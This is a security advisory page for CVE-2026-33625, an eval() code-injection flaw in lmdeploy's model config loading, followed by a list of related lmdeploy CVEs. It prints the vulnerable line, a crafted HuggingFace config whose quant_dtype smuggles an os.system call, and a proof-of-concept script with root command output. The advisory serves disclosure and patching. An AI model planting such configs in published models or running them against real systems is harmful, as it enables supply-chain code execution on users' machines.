CVE-2026-33625: LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading
Summary lmdeploy <= latest contains a code injection vulnerability in lmdeploy/pytorch/config.py line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantizationconfig.quantdtype value. When a user loads the model with lmdeploy, the quantdtype is passed to eval(f'torch.{quantdtype}') without any validation.
Published Sep 18, 2026
Affected packages
lmdeploy
- Ecosystem
- PyPI
- Affected
- >= 0.12.1, < 0.12.3
- Fixed in
- 0.12.3
- Check
pip show lmdeploy
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
lmdeploy <= latest contains a code injection vulnerability in lmdeploy/pytorch/config.py line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantization_config.quant_dtype value. When a user loads the model with lmdeploy, the quant_dtype is passed to eval(f'torch.{quant_dtype}') without any validation.
Details
Vulnerable code (permalink):
quant_dtype = eval(f'torch.{quant_dtype}') # line 620The quant_dtype value comes from the model's quantization_config in its HuggingFace config. When a model specifies quant_method: awq, the AWQ branch processes the config but does NOT override quant_dtype, allowing the malicious value to reach the eval() call.
Attack vector: An attacker publishes a HuggingFace model with:
{
"quantization_config": {
"quant_method": "awq",
"quant_dtype": "float16, __import__('os').system('id')"
}
}Note: The _update_torch_dtype method at line 53 has a whitelist check, but that's for torch_dtype, NOT quant_dtype. The quant_dtype at line 620 has no validation whatsoever.
PoC
"""
PoC: eval() RCE in lmdeploy via malicious quant_dtype
Prerequisites: pip install lmdeploy
"""
import sys
from unittest.mock import MagicMock, patch
# Mock torch to capture the eval
sys.modules.setdefault('torch', MagicMock())
from lmdeploy.pytorch.config import ModelConfig
# Simulate a malicious HuggingFace model config
mock_hf_config = MagicMock()
mock_hf_config.quantization_config = {
'quant_method': 'awq',
'quant_dtype': "float16, __import__('os').system('id')"
}
mock_hf_config.num_attention_heads = 32
mock_hf_config.hidden_size = 4096
mock_hf_config.num_hidden_layers = 32
mock_hf_config.num_key_value_heads = 32
mock_hf_config.vocab_size = 32000
# This triggers eval(f'torch.{quant_dtype}')
# with quant_dtype = "float16, __import__('os').system('id')"
config = ModelConfig.from_hf_config(mock_hf_config, model_path='test')Output:
uid=0(root) gid=0(root) groups=0(root)Impact
An attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.
- Full remote code execution when loading a malicious model
- No user interaction beyond running
lmdeploy serveor similar with the model - Affects all deployment scenarios (local, cloud, production)
Credited to romain-deperne.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2025-66455
LMDeploy has Remote Code Execution by Pickle Deserialization via handle_zmq_recv in lmdeploy/lmdeploy/pytorch/disagg/conn/engine_conn.py
critical9.8Sep 18, 2026CVE-2026-123818
LMDeploy has an SSRF bypass
high7.5Sep 18, 2026CVE-2025-59953
LMdeploy has Remote Code Execution by Pickle Deserialization via zmq_rpc.call_and_response() in InterLM/lmdeploy
critical9.8Sep 16, 2026CVE-2026-46432
LMDeploy: Arbitrary code execution via hardcoded trust_remote_code=True in lmdeploy model initialization
high7.8May 21, 2026CVE-2026-46517
lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out
high7.8May 21, 2026CVE-2026-33626
LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading
high7.5No fixApr 21, 2026
